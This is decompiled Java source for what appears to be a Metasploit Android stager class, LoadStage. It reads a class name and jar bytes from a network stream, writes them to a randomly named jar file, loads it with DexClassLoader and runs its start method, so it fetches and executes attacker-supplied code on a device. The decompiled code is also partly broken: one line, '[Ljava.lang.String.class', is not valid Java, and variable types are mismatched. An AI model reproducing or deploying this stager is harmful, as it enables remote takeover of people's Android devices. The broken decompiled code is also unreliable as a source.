package com.metasploit.stage;
import android.content.Context;
import dalvik.system.DexClassLoader;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.util.Random;
public class LoadStage
{
private String randomJarName()
{
char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray();
StringBuilder localStringBuilder = new StringBuilder();
Random localRandom = new Random();
for (int i = 0; ; i++)
{
if (i >= 20)
return localStringBuilder.toString() + ".jar";
localStringBuilder.append(arrayOfChar[localRandom.nextInt(arrayOfChar.length)]);
}
}
public void start(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext, String[] paramArrayOfString)
throws Exception
{
Object localObject2 = randomJarName();
Object localObject1 = paramContext.getFilesDir().getAbsolutePath();
Object localObject3 = new byte[paramDataInputStream.readInt()];
paramDataInputStream.readFully(localObject3);
localObject3 = new String(localObject3);
byte[] arrayOfByte = new byte[paramDataInputStream.readInt()];
paramDataInputStream.readFully(arrayOfByte);
FileOutputStream localFileOutputStream = paramContext.openFileOutput((String)localObject2, 0);
localFileOutputStream.write(arrayOfByte);
localFileOutputStream.close();
localObject2 = new DexClassLoader((String)localObject1 + File.separatorChar + (String)localObject2, (String)localObject1, (String)localObject1, paramContext.getClassLoader()).loadClass((String)localObject3);
localObject1 = ((Class)localObject2).newInstance();
localObject3 = new Class[4];
localObject3[0] = DataInputStream.class;
localObject3[1] = OutputStream.class;
localObject3[2] = Context.class;
localObject3[3] = [Ljava.lang.String.class;
localObject2 = ((Class)localObject2).getMethod("start", localObject3);
localObject3 = new Object[4];
localObject3[0] = paramDataInputStream;
localObject3[1] = paramOutputStream;
localObject3[2] = paramContext;
localObject3[3] = paramArrayOfString;
((Method)localObject2).invoke(localObject1, localObject3);
}
}